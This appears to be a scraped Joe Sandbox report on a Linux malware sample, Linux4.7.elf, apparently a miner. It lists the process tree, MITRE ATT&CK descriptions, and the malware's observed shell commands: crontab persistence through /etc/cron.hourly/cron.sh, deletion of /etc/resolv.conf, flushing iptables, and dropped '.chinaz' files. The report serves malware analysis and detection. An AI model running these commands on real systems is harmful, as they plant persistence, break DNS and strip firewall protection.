Arguments:	sh -c "sed -i '/\\/etc\\/cron.hourly\\/cron.sh/d' /etc/crontab && echo '/3 * * * root /etc/cron.hourly/cron.sh' >> /etc/crontab"
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: sh PID: 6235, Parent PID: 6234

General

Start time:	04:37:54
Start date:	21/10/2022
Path:	/bin/sh
Arguments:	n/a
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: sed PID: 6235, Parent PID: 6234

General

Start time:	04:37:55
Start date:	21/10/2022
Path:	/usr/bin/sed
Arguments:	sed -i /\\/etc\\/cron.hourly\\/cron.sh/d /etc/crontab
File size:	121288 bytes
MD5 hash:	885062561f66aa1d4af4c54b9e7cc81a

Chronological Activities

Analysis Process: Linux4.7.elf PID: 6237, Parent PID: 6225

General

Start time:	04:37:55
Start date:	21/10/2022
Path:	/tmp/Linux4.7.elf
Arguments:	n/a
File size:	1315556 bytes
MD5 hash:	b6a59da20064367d4a954123c69345dc

Chronological Activities

Analysis Process: sh PID: 6237, Parent PID: 6225

General

Start time:	04:37:55
Start date:	21/10/2022
Path:	/bin/sh
Arguments:	sh -c "rm -rf /etc/resolv.conf"
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: sh PID: 6238, Parent PID: 6237

General

Start time:	04:37:55
Start date:	21/10/2022
Path:	/bin/sh
Arguments:	n/a
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: rm PID: 6238, Parent PID: 6237

General

Start time:	04:37:55
Start date:	21/10/2022
Path:	/usr/bin/rm
Arguments:	rm -rf /etc/resolv.conf
File size:	72056 bytes
MD5 hash:	aa2b5496fdbfd88e38791ab81f90b95b

Chronological Activities

Analysis Process: Linux4.7.elf PID: 6241, Parent PID: 6225

General

Start time:	04:37:56
Start date:	21/10/2022
Path:	/tmp/Linux4.7.elf
Arguments:	n/a
File size:	1315556 bytes
MD5 hash:	b6a59da20064367d4a954123c69345dc

Chronological Activities

Analysis Process: sh PID: 6241, Parent PID: 6225

General

Start time:	04:37:56
Start date:	21/10/2022
Path:	/bin/sh
Arguments:	sh -c whoami
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: sh PID: 6247, Parent PID: 6241

General

Start time:	04:37:56
Start date:	21/10/2022
Path:	/bin/sh
Arguments:	n/a
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: whoami PID: 6247, Parent PID: 6241

General

Start time:	04:37:56
Start date:	21/10/2022
Path:	/usr/bin/whoami
Arguments:	whoami
File size:	39256 bytes
MD5 hash:	dbc1888ae50bb5d4d9a7a210d51be710

Chronological Activities

Analysis Process: Linux4.7.elf PID: 6242, Parent PID: 6225

General

Start time:	04:37:56
Start date:	21/10/2022
Path:	/tmp/Linux4.7.elf
Arguments:	n/a
File size:	1315556 bytes
MD5 hash:	b6a59da20064367d4a954123c69345dc

Chronological Activities

Analysis Process: sh PID: 6242, Parent PID: 6225

General

Start time:	04:37:56
Start date:	21/10/2022
Path:	/bin/sh
Arguments:	sh -c "iptables --flush"
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: sh PID: 6245, Parent PID: 6242

General

Start time:	04:37:56
Start date:	21/10/2022
Path:	/bin/sh
Arguments:	n/a
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: iptables PID: 6245, Parent PID: 6242

General

Start time:	04:37:56
Start date:	21/10/2022
Path:	/usr/sbin/iptables
Arguments:	iptables --flush
File size:	99296 bytes
MD5 hash:	1ab05fef765b6342cdfadaa5275b33af

Chronological Activities

Analysis Process: Linux4.7.elf PID: 6243, Parent PID: 6225

General

Start time:	04:37:56
Start date:	21/10/2022
Path:	/tmp/Linux4.7.elf
Arguments:	n/a
File size:	1315556 bytes
MD5 hash:	b6a59da20064367d4a954123c69345dc

Chronological Activities

Analysis Process: sh PID: 6243, Parent PID: 6225

General

Start time:	04:37:56
Start date:	21/10/2022
Path:	/bin/sh
Arguments:	sh -c whoami
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: sh PID: 6246, Parent PID: 6243

General

Start time:	04:37:56
Start date:	21/10/2022
Path:	/bin/sh
Arguments:	n/a
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: whoami PID: 6246, Parent PID: 6243

General

Start time:	04:37:56
Start date:	21/10/2022
Path:	/usr/bin/whoami
Arguments:	whoami
File size:	39256 bytes
MD5 hash:	dbc1888ae50bb5d4d9a7a210d51be710

Chronological Activities

Analysis Process: Linux4.7.elf PID: 6252, Parent PID: 6225

General

Start time:	04:37:56
Start date:	21/10/2022
Path:	/tmp/Linux4.7.elf
Arguments:	n/a
File size:	1315556 bytes
MD5 hash:	b6a59da20064367d4a954123c69345dc

Chronological Activities

Analysis Process: sh PID: 6252, Parent PID: 6225

General

Start time:	04:37:56
Start date:	21/10/2022
Path:	/bin/sh
Arguments:	sh -c "touch /home/root/ConfigDatecz"
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: sh PID: 6254, Parent PID: 6252

General

Start time:	04:37:56
Start date:	21/10/2022
Path:	/bin/sh
Arguments:	n/a
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: touch PID: 6254, Parent PID: 6252

General

Start time:	04:37:56
Start date:	21/10/2022
Path:	/usr/bin/touch
Arguments:	touch /home/root/ConfigDatecz
File size:	100728 bytes
MD5 hash:	3859c173f5d3b37be3e531b7c84a9c68

Chronological Activities

Analysis Process: Linux4.7.elf PID: 6253, Parent PID: 6225

General

Start time:	04:37:56
Start date:	21/10/2022
Path:	/tmp/Linux4.7.elf
Arguments:	n/a
File size:	1315556 bytes
MD5 hash:	b6a59da20064367d4a954123c69345dc

Chronological Activities

Analysis Process: sh PID: 6253, Parent PID: 6225

General

Start time:	04:37:56
Start date:	21/10/2022
Path:	/bin/sh
Arguments:	sh -c "iptables -A OUTPUT -p tcp --dport 0 -j DROP"
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: sh PID: 6257, Parent PID: 6253

General

Start time:	04:37:56
Start date:	21/10/2022
Path:	/bin/sh
Arguments:	n/a
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: iptables PID: 6257, Parent PID: 6253

General

Start time:	04:37:56
Start date:	21/10/2022
Path:	/usr/sbin/iptables
Arguments:	iptables -A OUTPUT -p tcp --dport 0 -j DROP
File size:	99296 bytes
MD5 hash:	1ab05fef765b6342cdfadaa5275b33af

Chronological Activities

Analysis Process: systemd PID: 6256, Parent PID: 6255

General

Start time:	04:37:56
Start date:	21/10/2022
Path:	/usr/lib/systemd/systemd
Arguments:	n/a
File size:	1620224 bytes
MD5 hash:	9b2bec7092a40488108543f9334aab75

Chronological Activities

Analysis Process: snapd-env-generator PID: 6256, Parent PID: 6255

General

Start time:	04:37:56
Start date:	21/10/2022
Path:	/usr/lib/systemd/system-environment-generators/snapd-env-generator
Arguments:	/usr/lib/systemd/system-environment-generators/snapd-env-generator
File size:	22760 bytes
MD5 hash:	3633b075f40283ec938a2a6a89671b0e

Chronological Activities

Analysis Process: systemd PID: 6272, Parent PID: 6271

General

Start time:	04:37:57
Start date:	21/10/2022
Path:	/usr/lib/systemd/systemd
Arguments:	n/a
File size:	1620224 bytes
MD5 hash:	9b2bec7092a40488108543f9334aab75

Chronological Activities

Analysis Process: snapd-env-generator PID: 6272, Parent PID: 6271

General

Start time:	04:37:57
Start date:	21/10/2022
Path:	/usr/lib/systemd/system-environment-generators/snapd-env-generator
Arguments:	/usr/lib/systemd/system-environment-generators/snapd-env-generator
File size:	22760 bytes
MD5 hash:	3633b075f40283ec938a2a6a89671b0e

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	PowerShell logs, Process command-line parameters, Process monitoring, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse the at utility to perform task scheduling for initial or recurring execution of malicious code. The at command within Linux operating systems enables administrators to schedule tasks.
Tactics:	Execution, Persistence, Privilege Escalation
Data Sources:	Process command-line parameters, Process monitoring
Platforms:	Linux
Url:	Open detailed description by Mitre

Description:	Adversaries may create or modify systemd services to repeatedly execute malicious payloads as part of persistence. The systemd service manager is commonly used for managing background daemon processes (also known as services) and other system resources.Systemd is the default initialization (init) system on many Linux distributions starting with Debian 8, Ubuntu 15.04, CentOS 7, RHEL 7, Fedora 15, and replaces legacy init systems including SysVinit and Upstart while remaining backwards compatible with the aforementioned init systems.
Tactics:	Persistence, Privilege Escalation
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may set files and directories to be hidden to evade detection mechanisms. To prevent normal users from accidentally changing special files on a system, most operating systems have the concept of a ‘hidden’ file. These files don’t show up when a user browses the file system with a GUI or when using normal commands on the command line. Users must explicitly ask to show the hidden files either via a series of Graphical User Interface (GUI) prompts or with command line switches ( `dir /a` for Windows and `ls –a` for Linux and macOS).
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may delete or alter generated artifacts on a host system, including logs or captured files such as quarantined malware. Locations and format of logs are platform or product-specific, however standard operating system logs are captured as Windows events or Linux/macOS files such as Bash History and /var/log/*.
Tactics:	Defense Evasion
Data Sources:	API monitoring, File monitoring, Process command-line parameters, Process monitoring, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may delete files left behind by the actions of their intrusion activity. Malware, tools, or other non-native files dropped or created on a system by an adversary may leave traces to indicate to what was done within a network and how. Removal of these files can occur during an intrusion, or as part of a post-intrusion process to minimize the adversary's footprint.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, File monitoring, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, Azure AD, GCP, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for details about the network configuration and settings of systems they access or through information discovery of remote systems. Several operating system administration utilities exist that can be used to gather this information. Examples include Arp , ipconfig / ifconfig , nbtstat , and route .
Tactics:	Discovery
Data Sources:	Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, GCP, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Malware reverse engineering, Netflow/Enclave netflow, Packet capture, Process monitoring, Process use of network, SSL/TLS inspection
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	DNS records, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Linux Analysis Report Linux4.7.elf

Overview

General Information

Detection

Signatures

Classification

Analysis Advice

General Information

Runtime Messages

Process Tree

Yara Signatures

Initial Sample

Dropped Files

Memory Dumps

Snort Signatures

Joe Sandbox Signatures

AV Detection

Bitcoin Miner

Networking

System Summary

Persistence and Installation Behavior

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Mitre Att&ck Matrix

Malware Configuration

Behavior Graph

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Domains

URLs

Domains and IPs

Contacted Domains

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

/etc/cron.hourly/cron.sh

/etc/init.d/.chinaz{1666327072

/memfd:snapd-env-generator (deleted)

/tmp/.chinaz{1666327072

Static File Info

General

Static ELF Info

ELF header

Sections

Program Segments

Network Behavior

Network Port Distribution

TCP Packets

System Behavior

Analysis Process: Linux4.7.elf PID: 6223, Parent PID: 6122

General

Chronological Activities

Analysis Process: Linux4.7.elf PID: 6224, Parent PID: 6223

General

Chronological Activities

Analysis Process: Linux4.7.elf PID: 6225, Parent PID: 6224

General

Chronological Activities

Analysis Process: Linux4.7.elf PID: 6226, Parent PID: 6225

General

Chronological Activities

Analysis Process: Linux4.7.elf PID: 6227, Parent PID: 6226

General

Chronological Activities

Analysis Process: Linux4.7.elf PID: 6228, Parent PID: 6225

Linux Analysis Report
Linux4.7.elf